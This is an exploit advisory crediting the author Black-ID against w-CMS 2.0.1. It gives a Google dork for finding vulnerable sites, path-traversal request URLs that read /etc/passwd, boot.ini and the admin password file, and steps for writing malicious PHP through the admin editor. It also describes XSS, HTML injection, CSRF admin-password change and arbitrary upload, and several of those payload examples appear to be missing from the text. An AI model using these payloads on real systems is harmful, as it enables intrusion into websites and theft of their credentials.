+----------------------------------------------------------------------+
| ____ _ _ _____ _____ |
| | _ \| | | | |_ _| __ \ |
| | |_) | | __ _ ___| | __ _____ | | | | | | |
| | _ <| |/ _` |/ __| |/ / |_____|| | | | | | |
| | |_) | | (_| | (__| < _| |_| |__| | |
| |____/|_|\__,_|\___|_|\_\ |_____|_____/ |
| |
|/********************************************************************\|
| |
| [x] Exploit Title: w-CMS 2.0.1 Multiple Vulnerabilities |
| [x] Google Dork: intext:"Powered by w-CMS" |
| [x] Version : 2.0.1 |
| [x] WebSite : http://w-cms.org/ |
| [x] Software Link: http://wcms.googlecode.com/files/wcms-2.01.zip |
| [x] Author: Black-ID |
| [x] Tested on: Win Xp/7 Linux Uubuntu 10.04 |
| [x] Platform: Php |
| [x] Risk : High |
+----------------------------------------------------------------------+
PoC/Exploit:
1.# Local File Disclosure [LFD]
~ [PoC]Http://[victim]/path/?p=../../../../../../boot.ini
~ [PoC]Http://[victim]/path/index.php?p=../../../../../../boot.ini
~ [PoC]Http://[victim]/path/?p=../../../../../../etc/passwd
~ [PoC]Http://[victim]/path/index.php?p=../../../../../../etc/passwd
# Admin Pass Disclosure
~ [PoC]Http://[victim]/path/index.php?p=../../password
+----------------------------------------------------------------------+
2.# Local File Edit/Write
~ [PoC]Http://[victim]/admin.php?edit=../../../dz0.php
Just Fill The Text Area With Evil Code (Php) & Click Save
+----------------------------------------------------------------------+
3.# Cross Site Scripting (XSS)
~ [PoC]Http://[victim]/path/?p=
~ [PoC]Http://[victim]/path/index.php?p=
+----------------------------------------------------------------------+
4.# Html Code Injection
~ [PoC]Http://[victim]/path/(Guestbook Path)Or(Contact Path)
You Can Inject Html Code In The text Area
Exapmle :
Own3d
++ You Can Inject Xss Too
Exapmle :
+----------------------------------------------------------------------+
5.# Cross Site Request Forgny (CSRF) Admin Change Pass
~ [PoC] Inject This Evil Code In Contact Form
Test
+----------------------------------------------------------------------+
6.# Arbitary File Upload
~ [PoC]Http://[victim]/admin.php
# Add Folder